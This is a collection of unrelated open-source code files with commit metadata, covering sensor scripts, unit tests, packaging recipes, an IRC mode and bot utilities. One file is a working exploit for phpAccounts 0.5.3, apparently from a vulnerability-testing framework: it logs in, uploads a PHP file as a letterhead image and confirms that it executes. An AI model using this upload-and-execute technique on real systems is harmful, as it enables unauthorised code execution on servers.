first_difference = None shortest_length = min(len(dependency_path), len(base_path)) for i in range(shortest_length): if dependency_path[i] != base_path[i]: first_difference = i break first_difference = first_difference or shortest_length base_path = base_path[first_difference:] dependency_path = dependency_path[first_difference:] return (os.path.sep.join((['..'] * len(base_path)) + dependency_path) + ':' + dependency) def main(): deleted_sources = set() errors_by_file = defaultdict(lambda: defaultdict(set)) with TemporaryDirectory() as tmp_dir: mb_gen_command = ([ 'tools/mb/mb.py', 'gen', tmp_dir, '--config-file', 'webrtc/build/mb_config.pyl', ] + sys.argv[1:]) mb_output = Run(mb_gen_command) errors = mb_output[0].split('ERROR')[1:] if mb_output[1]: print mb_output[1] return 1 for error in errors: error = error.splitlines() target_msg = 'The target:' if target_msg not in error: target_msg = 'It is not in any dependency of' if target_msg not in error: print '\n'.join(error) continue index = error.index(target_msg) + 1 path, target = error[index].strip().split(':') if error[index+1] in ('is including a file from the target:', 'The include file is in the target(s):'): dep = error[index+2].strip() dep_path, dep = dep.split(':') dep = Rebase(path, dep_path, dep) path = os.path.join(path[2:], 'BUILD.gn') errors_by_file[path][target].add(dep) elif error[index+1] == 'has a source file:': deleted_file = '"' + os.path.basename(error[index+2].strip()) + '",' deleted_sources.add(deleted_file) else: print '\n'.join(error) continue for path, missing_deps in errors_by_file.items(): FixErrors(path, missing_deps, deleted_sources) return 0 if __name__ == '__main__': sys.exit(main())
Python
0.000082
7084442bb78098f05acbe3243231243543061bf6
Create gloabl_moran.py
gloabl_moran.py
gloabl_moran.py
import arcpy arcpy.env.workspace = r"C:\Users\allenje4\Desktop\GGRC32 Lab 4 Files\GGRC32 Lab 4 Files\Local Statistics Data" m = arcpy.SpatialAutocorrelation_stats("pop_sci.shp", "PDens2011","NO_REPORT", "CONTIGUITY_EDGES_CORNERS", "#",)
Python
0.000006
bbc208548f0dd381f3045d24db3c21c4c8ee004e
Test all sensors at once
grovepi/scan.py
grovepi/scan.py
import time import grove_i2c_temp_hum_mini # temp + humidity import hp206c # altitude + temp + pressure import grovepi # used by air sensor and dust sensor import atexit # used for the dust sensor import json # Initialize the sensors t= grove_i2c_temp_hum_mini.th02() h= hp206c.hp206c() grovepi.dust_sensor_en() air_sensor = 0 grovepi.pinMode(air_sensor,"INPUT") atexit.register(grovepi.dust_sensor_dis) ret=h.isAvailable() if h.OK_HP20X_DEV == ret: print "HP20x_dev is available." else: print "HP20x_dev isn't available." while True: temp = h.ReadTemperature() temp2 = t.getTemperature() pressure = h.ReadPressure() altitude = h.ReadAltitude() humidity = t.getHumidity() air_quality = "--" # try: # # Get dust # [new_val,lowpulseoccupancy] = grovepi.dustSensorRead() # if new_val: # print lowpulseoccupancy # except IOError: # print ("Error") try: # Get air quality air_quality = grovepi.analogRead(air_sensor) if air_quality > 700: print ("High pollution") elif air_quality > 300: print ("Low pollution") else: print ("Air fresh") print ("air_quality =", air_quality) except IOError: print ("Error") # Send result data = { "air_quality": air_quality, "humidity": humidity, "temperature": (temp + temp2) / 2, "pressure": pressure, "altitude": altitude } print json.dumps(data) # with open('./json/hsk1.json', 'wb') as f: # f.write(json.dumps(voc)) time.sleep(.5)
Python
0
c834082c59abe6ae6d2e065e1a5afac2d399a612
Add unittests for the bridgedb.crypto module.
lib/bridgedb/test/test_crypto.py
lib/bridgedb/test/test_crypto.py
# -*- coding: utf-8 -*- # # This file is part of BridgeDB, a Tor bridge distribution system. # # :authors: Isis Lovecruft 0xA3ADB67A2CDB8B35 <isis@torproject.org> # please also see AUTHORS file # :copyright: (c) 2013, Isis Lovecruft # (c) 2007-2013, The Tor Project, Inc. # (c) 2007-2013, all entities within the AUTHORS file # :license: 3-Clause BSD, see LICENSE for licensing information """Unittests for :mod:`bridgedb.crypto`.""" from __future__ import print_function from __future__ import unicode_literals import os from twisted.trial import unittest from bridgedb import crypto SEKRIT_KEY = b'v\x16Xm\xfc\x1b}\x063\x85\xaa\xa5\xf9\xad\x18\xb2P\x93\xc6k\xf9' SEKRIT_KEY += b'\x8bI\xd9\xb8xw\xf5\xec\x1b\x7f\xa8' class CryptoTest(unittest.TestCase): def test_getKey_nokey(self): """Test retrieving the secret_key from an empty file.""" filename = os.path.join(os.getcwd(), 'sekrit') key = crypto.getKey(filename) self.failUnlessIsInstance(key, basestring, "key isn't a string! type=%r" % type(key)) def test_getKey_tmpfile(self): """Test retrieving the secret_key from a new tmpfile.""" filename = self.mktemp() key = crypto.getKey(filename) self.failUnlessIsInstance(key, basestring, "key isn't a string! type=%r" % type(key)) def test_getKey_keyexists(self): """Write the example key to a file and test reading it back.""" filename = self.mktemp() with open(filename, 'wb') as fh: fh.write(SEKRIT_KEY) fh.flush() key = crypto.getKey(filename) self.failUnlessIsInstance(key, basestring, "key isn't a string! type=%r" % type(key)) self.assertEqual(SEKRIT_KEY, key, """The example key and the one read from file differ! key (in hex): %s SEKRIT_KEY (in hex): %s""" % (key.encode('hex'), SEKRIT_KEY.encode('hex')))
Python
0
ac0d713e48689c0bf9100d33069409cadf808f57
Add unit tests to engine.parser
senlin/tests/unit/engine/test_engine_parser.py
senlin/tests/unit/engine/test_engine_parser.py
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import mock import os import six from senlin.engine import parser from senlin.tests.unit.common import base class ParserTest(base.SenlinTestCase): json_template = """ { "type": "os.heat.stack", "version": 1.0, "properties": { "name": "random_string_stack", "template": "random_string_stack.yaml" } } """ yaml_template = """ type: os.heat.stack version: 1.0 properties: name: random_string_stack template: random_string_stack.yaml """ expect_result = { "type": "os.heat.stack", "version": 1, "properties": { "name": "random_string_stack", "template": "random_string_stack.yaml" } } def test_parse_json_success(self): result = parser.simple_parse(self.json_template) self.assertEqual(self.expect_result, result) def test_parse_yaml_success(self): result = parser.simple_parse(self.yaml_template) self.assertEqual(self.expect_result, result) def test_parse_string(self): tmpl_str = 'json string' ex = self.assertRaises(ValueError, parser.simple_parse, tmpl_str) self.assertEqual('The input is not a JSON object or YAML mapping.', six.text_type(ex)) def test_parse_list(self): tmpl_str = '["foo" , "bar"]' ex = self.assertRaises(ValueError, parser.simple_parse, tmpl_str) self.assertEqual('The input is not a JSON object or YAML mapping.', six.text_type(ex)) def test_parse_invalid_yaml_and_json_template(self): tmpl_str = '{test' ex = self.assertRaises(ValueError, parser.simple_parse, tmpl_str) self.assertIn('Error parsing input:', six.text_type(ex)) class ParseTemplateIncludeFiles(base.SenlinTestCase): scenarios = [ ('include_from_file_without_path', dict( tmpl_str='foo: !include a.file', url_path='file:///tmp/a.file', )), ('include_from_file_with_path', dict( tmpl_str='foo: !include file:///tmp/a.file', url_path='file:///tmp/a.file', )), ('include_from_http', dict( tmpl_str='foo: !include http://tmp/a.file', url_path='http://tmp/a.file', )), ('include_from_https', dict( tmpl_str='foo: !include https://tmp/a.file', url_path='https://tmp/a.file', )) ] @mock.patch.object(six.moves.urllib.request, 'urlopen') @mock.patch.object(os.path, 'abspath') def test_parse_template(self, mock_abspath, mock_urlopen): fetch_data = 'bar' expect_result = { 'foo': 'bar' } mock_abspath.return_value = '/tmp/a.file' mock_urlopen.side_effect = [ six.moves.urllib.error.URLError('oops'), six.moves.cStringIO(fetch_data) ] ex = self.assertRaises(IOError, parser.simple_parse, self.tmpl_str) self.assertIn('Failed retrieving file %s:' % self.url_path, six.text_type(ex)) result = parser.simple_parse(self.tmpl_str) self.assertEqual(expect_result, result) mock_urlopen.assert_has_calls([ mock.call(self.url_path), mock.call(self.url_path) ])
Python
0
8373de2daf5c44c069b9312ad3a3b21e2f5c21e3
Implement channel mode +l
txircd/modules/cmode_l.py
txircd/modules/cmode_l.py
from twisted.words.protocols import irc from txircd.modbase import Mode class LimitMode(Mode): def checkSet(self, user, target, param): intParam = int(param) if str(intParam) != param: return False return (intParam >= 0) def commandPermission(self, user, cmd, data): if cmd != "JOIN": return data targetChannels = data["targetchan"] keys = data["keys"] removeChannels = [] for channel in targetChannels: if "l" in channel.mode and len(channel.users) >= int(channel.mode["l"]): user.sendMessage(irc.ERR_CHANNELISFULL, channel.name, ":Cannot join channel (Channel is full)") removeChannels.append(channel) for channel in removeChannels: index = targetChannels.index(channel) targetChannels.pop(index) keys.pop(index) data["targetchan"] = targetChannels data["keys"] = keys return data class Spawner(object): def __init__(self, ircd): self.ircd = ircd def spawn(self): return { "modes": { "cpl": LimitMode() } } def cleanup(self): self.ircd.removeMode("cpl")
Python
0
a24844a20634354167511163870438c36581c656
Add py-hpack (#19189)
var/spack/repos/builtin/packages/py-hpack/package.py
var/spack/repos/builtin/packages/py-hpack/package.py
# Copyright 2013-2020 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class PyHpack(PythonPackage): """Pure-Python HPACK header compression""" homepage = "https://github.com/python-hyper/hpack" url = "https://pypi.io/packages/source/h/hpack/hpack-4.0.0.tar.gz" version('4.0.0', sha256='fc41de0c63e687ebffde81187a948221294896f6bdc0ae2312708df339430095') depends_on('py-setuptools', type='build') depends_on('py-wheel', type='build')
Python
0
5ed57df8d1e3b85bc27d5a834c9ec35b18055ba9
Create codility.py
codility.py
codility.py
#lesson 1 def solution(N): bstr = dectoBin(N) arr = [] cnt = 0 for b in bstr: if b == '0': cnt = cnt + 1 if b != '0': arr.append(cnt) cnt = 0 return getMax(arr) def dectoBin(N): bstr = "" while N > 0: bstr = str(N % 2) + bstr N = N // 2 return bstr def getMax(arr): max = arr[0] for i in range(len(arr)): if arr[i] > max: max = arr[i] return max solution(0)
Python
0.000003
955bca3beb7808636a586bed43c37e5f74fba17f
Add Weather class (use forecastio, geopy) - forecase(current/daily)
kino/functions/weather.py
kino/functions/weather.py
# -*- coding: utf-8 -*- import datetime import forecastio from geopy.geocoders import GoogleV3 from kino.template import MsgTemplate from slack.slackbot import SlackerAdapter from utils.config import Config class Weather(object): def __init__(self): self.config = Config() self.slackbot = SlackerAdapter() self.template = MsgTemplate() geolocator = GoogleV3() self.location = geolocator.geocode(self.config.weather["HOME"]) api_key = self.config.weather["DARK_SKY_SECRET_KEY"] lat = self.location.latitude lon = self.location.longitude self.forecastio = forecastio.load_forecast(api_key, lat, lon) def read(self, when='current'): if when == 'current': self.__current_forecast() elif when == 'daily': self.__daily_forecast() def __daily_forecast(self): daily = self.forecastio.daily() address = self.location.address icon = daily.icon summary = daily.summary attachments = self.template.make_weather_template(address, icon, summary) self.slackbot.send_message(attachments=attachments) def __current_forecast(self): current = self.forecastio.currently() address = self.location.address icon = current.icon summary = current.summary temperature = current.temperature attachments = self.template.make_weather_template(address, icon, summary, temperature=temperature) self.slackbot.send_message(attachments=attachments)
Python
0
1005f983774392306ca10e5fb12b59eeb63a88c4
add remote file inclusion exploit
framework/Exploits/OSVDB_82707_D.py
framework/Exploits/OSVDB_82707_D.py
# Copyright 2013 University of Maryland. All rights reserved. # Use of this source code is governed by a BSD-style # license that can be found in the LICENSE.TXT file. import framework import time import selenium.common.exceptions class Exploit (framework.Exploit): attributes = {'Name' : "OSVDB_82707D", 'Description' : "Upload and exec of php file using Letterhead img uplaod feature", 'References' : [['OSVDB','82707'],['http://www.osvdb.org/show/osvdb/82707']], 'Target' : "phpAccounts 0.5.3", 'TargetLicense' : '', 'Type' : "EXEC", 'VulWikiPage' : "", 'Privileged' : True } def __init__(self, visible=False): framework.Exploit.__init__(self, visible) return def setup(self, target_system_dir): self.logger.info("Creating payload file") fd = file("/tmp/phpinfoexploit.php", 'w') fd.write("<?php\nphpinfo();\n?>") fd.close() return def exploit(self): driver = self.create_selenium_driver() driver.get("http://127.0.0.1/phpaccounts/index.php") driver.get_element(by_xpath="//input[@name='Login_Username']").send_keys("phpaccounts@umd.edu") driver.get_element(by_xpath="//input[@name='Login_Password']").send_keys("phpaccountspw21") driver.get_element(by_xpath="//input[@value='Login']").click() driver.get_element(by_xpath="//frame[@name='leftFrame']") driver.get("http://127.0.0.1//phpaccounts/index.php?page=tasks&action=preferences") driver.get_element(by_xpath="//input[@name='letterhead_image']").send_keys("/tmp/phpinfoexploit.php") driver.get_element(by_xpath="//input[@value='Save Changes']").click() driver.cleanup() return def verify(self): driver = self.create_selenium_driver() driver.get("http://127.0.0.1/phpaccounts/users/1/phpinfoexploit.php") try: driver.get_element(by_xpath="//a[@href='http://www.php.net/']") driver.cleanup() self.logger.info("Payload executed") return True except selenium.common.exceptions.NoSuchElementException: self.logger.error("Payload failed to execute") driver.cleanup() return False
Python
0.000001
2c1b393c347ffcf24d9584be800378a1b77fa86d
add example to test error handling
flexx/ui/examples/errors.py
flexx/ui/examples/errors.py
""" App that can be used to generate errors on the Python and JS side. These errors should show tracebacks in the correct manner (and not crash the app as in #164). To test thoroughly, you should probably also set the foo and bar properties from the Python and JS console. """ from flexx import app, event, ui class Errors(ui.Widget): def init(self): with ui.VBox(): self.b1 = ui.Button(text='Raise error in JS property setter') self.b2 = ui.Button(text='Raise error in JS event handler') self.b3 = ui.Button(text='Raise error in Python property setter') self.b4 = ui.Button(text='Raise error in Python event handler') ui.Widget(flex=1) # spacer class Both: @event.prop def foo(self, v=1): return self.reciprocal(v) def reciprocal(self, v): return 1 / v def raise_error(self): raise RuntimeError('Deliberate error') class JS: @event.prop def bar(self, v): self.raise_error() # Handlers for four buttons @event.connect('b1.mouse_click') def error_in_JS_prop(self, *events): self.bar = 2 @event.connect('b2.mouse_click') def error_in_JS_handler(self, *events): self.raise_error() @event.connect('b3.mouse_click') def error_in_Py_prop(self, *events): self.foo = 0 @event.connect('b4.mouse_click') def error_in_Py_handler(self, *events): self.raise_error() if __name__ == '__main__': m = app.launch(Errors) app.run()
Python
0
331308eedd37628f5419001fc48fc5a328c1bab9
Add test_jsc
unnaturalcode/test_jsc.py
unnaturalcode/test_jsc.py
#!/usr/bin/python # Copyright 2017 Dhvani Patel # # This file is part of UnnaturalCode. # # UnnaturalCode is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # UnnaturalCode is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with UnnaturalCode. If not, see <http://www.gnu.org/licenses/>. from check_jsc_syntax import checkJSCSyntax from compile_error import CompileError import unittest ERROR_TEST = """if (process.argv.length < 3) console.error("not enough args"); process.exit(1); } """ class TestStringMethods(unittest.TestCase): def test_syntax_ok(self): toTest = checkJSCSyntax('a=1+2') self.assertTrue(toTest is None) def test_syntax_error(self): toTest = checkJSCSyntax(ERROR_TEST) self.assertTrue(isinstance (toTest[0], CompileError)) self.assertEqual(toTest[0].filename, 'toCheck.js') self.assertEqual(toTest[0].line, 4) self.assertEqual(toTest[0].column, None) self.assertEqual(toTest[0].functionname, None) self.assertEqual(toTest[0].text, 'Parser error') self.assertEqual(toTest[0].errorname, 'SyntaxError') if __name__ == '__main__': unittest.main()
Python
0.00001
a6495a05d4652beeefca9e383f5dd7b8fc4246d7
Create simple_fun_91:unique_digit_products.py
Solutions/simple_fun_91:unique_digit_products.py
Solutions/simple_fun_91:unique_digit_products.py
from operator import mul def unique_digit_products(a): return len({reduce(mul, map(int, str(x))) for x in a})
Python
0.999972
371545ecae0296f9274319c971be1378c3dafbbe
Add migration
services/migrations/0036_auto_20150327_1434.py
services/migrations/0036_auto_20150327_1434.py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('services', '0035_auto_20150325_1637'), ] operations = [ migrations.AddField( model_name='jiraupdaterecord', name='feedback', field=models.ForeignKey(to='services.Feedback', null=True, related_name='jira_records', blank=True), preserve_default=True, ), migrations.AlterField( model_name='jiraupdaterecord', name='update_type', field=models.CharField(max_length=22, choices=[('provider-change', 'Provider updated their information'), ('new-service', 'New service submitted by provider'), ('change-service', 'Change to existing service submitted by provider'), ('cancel-draft-service', 'Provider canceled a draft service'), ('cancel-current-service', 'Provider canceled a current service'), ('superseded-draft', 'Provider superseded a previous draft'), ('approve-service', 'Staff approved a new or changed service'), ('rejected-service', 'Staff rejected a new or changed service'), ('feedback', 'User submitted feedback')], verbose_name='update type'), preserve_default=True, ), ]
Python
0.000002
7d061e698788a60f0e3b59559961408015d891ed
Add first iteration of message_producer
utils/message_producer.py
utils/message_producer.py
import argparse import pika def send_message(queue, body=None): """ Sends a message to the specified queue with specified body if applicable. :param queue: Name of queue. :type queue: str :param body: Content of message body in the form "{'key': 'value'}". :type body: str """ connection = pika.BlockingConnection(pika.ConnectionParameters('localhost')) channel = connection.channel() channel.queue_declare(queue=queue) channel.basic_publish(exchange='', routing_key=queue, body=body) print(" [x] Message sent.") print(" Queue: {0}".format(queue)) print(" Body: {0}".format(body)) connection.close() if __name__ == '__main__': parser = argparse.ArgumentParser(description='Send a message to the ' 'specified queue.') parser.add_argument('-q', '--queue', required=True, help='The destination of the message') parser.add_argument('-b', '--body', help='The message body, if applicable.') args = parser.parse_args() send_message(args.queue, args.body)
Python
0.000051
49614576524e74cb2e8eaa6656c1e86bf546c8e6
Create keystone_test.py
keystone_test.py
keystone_test.py
import keystoneclient.v2_0.client as ksclient import novaclient.v1_1.client as nvclient from novaclient import client as novaclient import glanceclient import os def get_keystone_creds(): d = {} d['username'] = 'admin' d['password'] = 'password' d['auth_url'] = 'http://10.0.2.15:5000/v2.0/' d['tenant_name'] = 'demo' return d def get_nova_creds(): d = {} d['username'] = 'admin' d['api_key'] = 'password' d['auth_url'] = 'http://10.0.2.15:5000/v2.0/' d['project_id'] = 'demo' return d if __name__== "__main__": keystone_creds = get_keystone_creds() keystone = ksclient.Client(**keystone_creds) nova_creds = get_nova_creds() nova = nvclient.Client(**nova_creds) #if not nova.keypairs.findall(name="mykey"): # with open(os.path.expanduser('~/.ssh/id_rsa.pub')) as fpubkey: # nova.keypairs.create(name="mykey", public_key=fpubkey.read()) glance_endpoint = keystone.service_catalog.url_for(service_type='image', endpoint_type='publicURL') glance = glanceclient.Client('1',glance_endpoint, token=keystone.auth_token) images = glance.images.list() for one_image in images: if one_image.name.find('ubuntu') > -1: print one_image.name image = nova.images.find(name=one_image.name) flavor = nova.flavors.find(name="m1.small") instance = nova.servers.create(name=one_image.name, image=image, flavor=flavor) #instance = nova.servers.create(name=one_image.name, image=image, flavor=flavor, key_name="mykey")
Python
0.000005
6789f2ea1862f4c30e8d60bd0b47640b7e5835c1
Add script to count labels in a data set
count_labels.py
count_labels.py
"""Count HEEM labels in data set. Usage: python count_labels.py <dir with train and test files> """ import codecs from glob import glob import numpy as np import argparse from collections import Counter def load_data(data_file): data = [ln.rsplit(None, 1) for ln in open(data_file)] X_data, Y_data = zip(*data) return X_data, Y_data def count_labels(file_name, counter): # load data set X_data, Y_data = load_data(file_name) Y = [s.split('_') for s in Y_data] for labelset in Y: counter.update(labelset) del counter['None'] return counter parser = argparse.ArgumentParser() parser.add_argument('input_dir', help='the directory where the input text ' 'files can be found.') args = parser.parse_args() train_file = '{}/train_1.txt'.format(args.input_dir) test_file = '{}/test_1.txt'.format(args.input_dir) labels = Counter() labels = count_labels(train_file, labels) labels = count_labels(test_file, labels) for l, freq in labels.most_common(): print '{}\t{}'.format(l, freq)
Python
0
f1e08341a6b9f8bf137c1642debe3d3eda4b2cdf
Add utility to load env from config file
gidget/util/load_path_config.py
gidget/util/load_path_config.py
#!/usr/bin/env python import os from os.path import join as pthJoin from ConfigParser import SafeConfigParser import sys from pipeline_util import expandPath as pthExpanded COMMANDS_DIR = 'commands' # mini spec that maps from config lines to gidget env var names # [ (section, [ (option_name, env_name) ] ) ] optionMap = [ ('maf', [ ('TCGAMAF_OUTPUTS', 'TCGAMAF_OUTPUTS'), ('TCGAMAF_DATA_DIR', 'TCGAMAF_DATA_DIR'), ('TCGAMAF_REFERENCES_DIR', 'TCGAMAF_REFERENCES_DIR'), ]), ('binarization', [ ('TCGABINARIZATION_DATABASE_DIR','TCGABINARIZATION_DATABASE_DIR'), ('TCGABINARIZATION_REFERENCES_DIR', 'TCGABINARIZATION_REFERENCES_DIR'), ]), ('fmp', [ ('TCGAFMP_PYTHON3', 'TCGAFMP_PYTHON3'), ('TCGAFMP_BIOINFORMATICS_REFERENCES', 'TCGAFMP_BIOINFORMATICS_REFERENCES'), ('TCGAFMP_SCRATCH', 'TCGAFMP_SCRATCH'), ('TCGAFMP_DCC_REPOSITORIES', 'TCGAFMP_DCC_REPOSITORIES'), ('TCGAFMP_FIREHOSE_MIRROR', 'TCGAFMP_FIREHOSE_MIRROR'), ('TCGAFMP_PAIRWISE_ROOT', 'TCGAFMP_PAIRWISE_ROOT'), ('TCGAFMP_LOCAL_SCRATCH', 'TCGAFMP_LOCAL_SCRATCH'), ('TCGAFMP_CLUSTER_SCRATCH', 'TCGAFMP_CLUSTER_SCRATCH'), ('TCGAFMP_CLUSTER_HOME', 'TCGAFMP_CLUSTER_HOME'), ]), ('python', [ ('TCGAMAF_PYTHON_BINARY', 'TCGAMAF_PYTHON_BINARY'), ]), ('tools', [ ('TCGAMAF_TOOLS_DIR', 'TCGAMAF_TOOLS_DIR'), ('LD_LIBRARY_PATH', 'LD_LIBRARY_PATH'), ])] # pth = path # pthd = path to a directory # apth = absolute path def envFromConfigOrOs(pthConfig): if pthConfig is None: return os.environ else: return envFromConfig(pthConfig) def envFromConfig(pthConfig): parser = SafeConfigParser() parser.read(pthConfig) env = {} pthdGidgetRoot = pthExpanded(parser.get('gidget', 'GIDGET_SOURCE_ROOT')) pthdFmpRoot = pthJoin(pthdGidgetRoot, COMMANDS_DIR, 'feature_matrix_construction') pthdMafRoot = pthJoin(pthdGidgetRoot, COMMANDS_DIR, 'maf_processing') pthdMafScripts = pthdMafRoot env['GIDGET_SOURCE_ROOT'] = pthdGidgetRoot env['TCGAFMP_ROOT_DIR'] = pthdFmpRoot env['TCGAMAF_ROOT_DIR'] = pthdMafRoot env['TCGAMAF_SCRIPTS_DIR'] = pthdMafScripts rgpthdAddToPypath = ( pthJoin(pthdGidgetRoot, 'gidget', 'util'), pthJoin(pthdMafRoot, 'python'), pthJoin(pthdFmpRoot, 'util')) sys.path.append(rgpthdAddToPypath) # we also need to add these to the PYTHONPATH variable to ensure that they are properly propagated to subprocesses env['PYTHONPATH'] = ('%s:' * len(rgpthdAddToPypath)) % rgpthdAddToPypath + os.environ['PYTHONPATH'] for section in optionMap: stSection = section[0] options = section[1] for option in options: stOption = option[0] stEnv = option[1] pthOption = pthExpanded(parser.get(stSection, stOption)) env[stEnv] = pthOption os.environ[stEnv] = pthOption return env
Python
0.000001
2c4a2368d2dc1c6ee910358fedd6e85cdf4f043a
Add test from jasmine-core
test/jasmine_core_test.py
test/jasmine_core_test.py
from pytest import raises import pytest import subprocess from jasmine_core import Core import os import pkg_resources notwin32 = pytest.mark.skipif("sys.platform == 'win32'") @notwin32 def test_js_files(): files = [ 'jasmine.js', 'jasmine-html.js', 'json2.js', 'boot.js' ] assert Core.js_files() == files def test_css_files(): """ Should return a list of css files that are relative to Core.path() """ assert ['jasmine.css'] == Core.css_files() def test_favicon(): assert os.path.isfile(pkg_resources.resource_filename('jasmine_core.images', 'jasmine_favicon.png'))
Python
0
7b5b4fdf8d5801d6e87d1b39f46a5f868aa07110
Add test
tests/cupy_tests/test_typing.py
tests/cupy_tests/test_typing.py
import cupy class TestClassGetItem: def test_class_getitem(self): from typing import Any cupy.ndarray[Any, Any]
Python
0.000005
a9609a500a65cc0efb787f5d90e164bd6fa48c1a
Print the left view of a BST
leftViewofBST.py
leftViewofBST.py
class BST: def __init__(self,val): self.left = None self.right = None self.data = val def insertToBst(root,value): if root is None: root = value else: if value.data < root.data: if root.left is None: root.left = value else: insertToBst(root.left, value) else: if root.right is None: root.right = value else: insertToBst(root.right, value) def leftView(root,level,currentLevel): if not root: return else: if (currentLevel[0] < level): print root.data currentLevel[0] = level leftView(root.left, level+1, currentLevel) leftView(root.right, level+1, currentLevel) tree = BST(5) insertToBst(tree, BST(4)) insertToBst(tree, BST(6)) insertToBst(tree, BST(2)) insertToBst(tree, BST(1)) insertToBst(tree, BST(7)) insertToBst(tree, BST(8)) insertToBst(tree, BST(9)) insertToBst(tree, BST(10)) leftView(tree, 1, [0]) # => 5,4,2,1,9,10 ,O(n)
Python
0.999984
08e7103766ce684e849f23fac77792876fded586
fix helper to use the actual lines form ceph.conf
tests/functional/tests/mon/test_initial_members.py
tests/functional/tests/mon/test_initial_members.py
import pytest uses_mon_initial_members = pytest.mark.skipif( 'mon_initial_members' not in pytest.config.slaveinput['node_config']['components'], reason="only run in monitors configured with initial_members" ) class TestMon(object): def get_line_from_config(self, string, conf_path): with open(conf_path) as ceph_conf: ceph_conf_lines = ceph_conf.readlines() for line in ceph_conf_lines: if string in line: return line @uses_mon_initial_members def test_ceph_config_has_inital_members_line(self, scenario_config): cluster_name = scenario_config.get('ceph', {}).get('cluster_name', 'ceph') ceph_conf_path = '/etc/ceph/%s.conf' % cluster_name initial_members_line = self.get_line_from_config('mon initial members', ceph_conf_path) assert initial_members_line @uses_mon_initial_members def test_initial_members_line_has_correct_value(self, scenario_config): cluster_name = scenario_config.get('ceph', {}).get('cluster_name', 'ceph') ceph_conf_path = '/etc/ceph/%s.conf' % cluster_name initial_members_line = self.get_line_from_config('mon initial members', ceph_conf_path) assert initial_members_line == 'mon initial members = mon0'
import pytest uses_mon_initial_members = pytest.mark.skipif( 'mon_initial_members' not in pytest.config.slaveinput['node_config']['components'], reason="only run in monitors configured with initial_members" ) class TestMon(object): def get_line_from_config(self, string, conf_path): with open(conf_path) as ceph_conf: ceph_conf_lines = ceph_conf.readlines() for line in ceph_conf: if string in line: return line @uses_mon_initial_members def test_ceph_config_has_inital_members_line(self, scenario_config): cluster_name = scenario_config.get('ceph', {}).get('cluster_name', 'ceph') ceph_conf_path = '/etc/ceph/%s.conf' % cluster_name initial_members_line = self.get_line_from_config('mon_initial_members', ceph_conf_path) assert initial_members_line @uses_mon_initial_members def test_initial_members_line_has_correct_value(self, scenario_config): cluster_name = scenario_config.get('ceph', {}).get('cluster_name', 'ceph') ceph_conf_path = '/etc/ceph/%s.conf' % cluster_name initial_members_line = self.get_line_from_config('mon_initial_members', ceph_conf_path) assert initial_members_line == 'mon_initial_members = mon0'
Python
0
5fad9d4fb60eb29d04d8d6a7fd967aad67ca28e2
Create __init__.py
pagination_bootstrap/__init__.py
pagination_bootstrap/__init__.py
Python
0.000429
379d2953c90610a48eb80d1cabedb63b8f948813
Use `for_app` helper
thefuck/rules/fab_command_not_found.py
thefuck/rules/fab_command_not_found.py
from thefuck.utils import eager, get_closest, for_app @for_app('fab') def match(command): return 'Warning: Command(s) not found:' in command.stderr # We need different behavior then in get_all_matched_commands. @eager def _get_between(content, start, end=None): should_yield = False for line in content.split('\n'): if start in line: should_yield = True continue if end and end in line: return if should_yield and line: yield line.strip().split(' ')[0] def get_new_command(command): not_found_commands = _get_between( command.stderr, 'Warning: Command(s) not found:', 'Available commands:') possible_commands = _get_between( command.stdout, 'Available commands:') script = command.script for not_found in not_found_commands: fix = get_closest(not_found, possible_commands) script = script.replace(' {}'.format(not_found), ' {}'.format(fix)) return script
from thefuck.utils import eager, get_closest def match(command): return (command.script_parts[0] == 'fab' and 'Warning: Command(s) not found:' in command.stderr) # We need different behavior then in get_all_matched_commands. @eager def _get_between(content, start, end=None): should_yield = False for line in content.split('\n'): if start in line: should_yield = True continue if end and end in line: return if should_yield and line: yield line.strip().split(' ')[0] def get_new_command(command): not_found_commands = _get_between( command.stderr, 'Warning: Command(s) not found:', 'Available commands:') possible_commands = _get_between( command.stdout, 'Available commands:') script = command.script for not_found in not_found_commands: fix = get_closest(not_found, possible_commands) script = script.replace(' {}'.format(not_found), ' {}'.format(fix)) return script
Python
0.000036
df777bf0771fdd8aadfbb26fe13b51692f4c161d
Add autogen package (#3542)
var/spack/repos/builtin/packages/autogen/package.py
var/spack/repos/builtin/packages/autogen/package.py
############################################################################## # Copyright (c) 2013-2016, Lawrence Livermore National Security, LLC. # Produced at the Lawrence Livermore National Laboratory. # # This file is part of Spack. # Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved. # LLNL-CODE-647188 # # For details, see https://github.com/llnl/spack # Please also see the LICENSE file for our notice and the LGPL. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License (as # published by the Free Software Foundation) version 2.1, February 1999. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the IMPLIED WARRANTY OF # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the terms and # conditions of the GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ############################################################################## from spack import * class Autogen(AutotoolsPackage): """AutoGen is a tool designed to simplify the creation and maintenance of programs that contain large amounts of repetitious text. It is especially valuable in programs that have several blocks of text that must be kept synchronized.""" homepage = "https://www.gnu.org/software/autogen/index.html" url = "https://ftp.gnu.org/gnu/autogen/rel5.18.12/autogen-5.18.12.tar.gz" list_url = "https://ftp.gnu.org/gnu/autogen" list_depth = 2 version('5.18.12', '551d15ccbf5b5fc5658da375d5003389') variant('xml', default=True, description='Enable XML support') depends_on('pkg-config@0.9.0:', type='build') depends_on('guile@1.8:2.0') depends_on('libxml2', 